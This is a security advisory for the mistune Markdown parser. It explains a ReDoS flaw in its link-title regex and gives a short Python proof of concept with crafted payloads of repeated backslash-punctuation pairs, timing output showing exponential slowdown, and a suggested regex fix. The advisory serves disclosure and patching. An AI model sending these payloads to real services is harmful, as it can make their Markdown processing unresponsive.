ReDoS in LINK_TITLE_RE allows denial of service via crafted Markdown input

High **lepture** published **GHSA-8mp2-v27r-99xp** 13 hours ago

Package

mistune (pip)

Affected versions

>=3.0.0a1, <= 3.2.0

Patched versions

None

Description

Summary

A ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.

Details

The vulnerable regex is defined in `src/mistune/helpers.py#L20-L25`:

```
LINK_TITLE_RE = re.compile(
    r"[ \t\n]+("
    r'"(?:\\' + PUNCTUATION + r'|[^"\x00])*"|'  # "title"
    r"'(?:\\" + PUNCTUATION + r"|[^'\x00])*'"   # 'title'
    r")"
)
```

The double-quote branch compiles to `"(?:\\[PUNCTUATION]|[^"\x00])*"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\!`, or as two individual `[^"\x00]` characters (`\` then `!`). The same ambiguity exists in the single-quoted title branch.

When the input contains repeated `\!` pairs with no closing `"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.

This is reachable through normal Markdown parsing via two code paths:

1. **Inline links**: `[text](url "PAYLOAD)` → `parse_link()` → `parse_link_title()`
2. **Block link reference definitions**: `[label]: url "PAYLOAD` → `BlockParser.parse_ref_link()` → `parse_link_title()` at block_parser.py#L259

PoC

```
import mistune
import time

md = mistune.create_markdown()

# Test with increasing N (number of \! pairs)
for n in [15, 18, 20, 22, 25]:
    payload = '[x](y "' + '\\!' * n + ')'
    start = time.time()
    md(payload)
    elapsed = time.time() - start
    print(f"N={n:2d}  len={len(payload):3d} bytes  time={elapsed:.3f}s")
```

Output (Apple M2, Python 3.14.3, mistune 3.2.0):

```
N=15  len= 38 bytes  time=0.007s
N=18  len= 44 bytes  time=0.044s
N=20  len= 48 bytes  time=0.178s
N=22  len= 52 bytes  time=0.740s
N=25  len= 58 bytes  time=5.922s
```

Each increment of N roughly doubles the execution time (consistent with O(2^N)).

The same attack works via block link reference definitions:

```
payload = '[l]: u "' + '\\!' * 25  # 58 bytes, ~6 seconds
md(payload)
```

Impact

This is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).

Affected use cases include:

- Web applications with Markdown-enabled input fields (comments, posts, descriptions)
- Documentation systems that accept user contributions
- API endpoints that process Markdown
- Jupyter tooling such as nbconvert that relies on mistune for rendering

Suggested Fix

Exclude the backslash character from the catch-all character class to eliminate the alternation overlap:

```
# Before (vulnerable):
r'"(?:\\' + PUNCTUATION + r'|[^"\x00])*"'
r"'(?:\\" + PUNCTUATION + r"|[^'\x00])*'"

# After (fixed):
r'"(?:\\' + PUNCTUATION + r'|[^"\\\x00])*"'
r"'(?:\\" + PUNCTUATION + r"|[^'\\\x00])*'"
```

This ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):

- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)
- Handles N=50 in 0.000008 seconds
- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)

Severity

High 7.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-33079

Weaknesses

▶ CWE-1333

Credits

 **kq5y** Reporter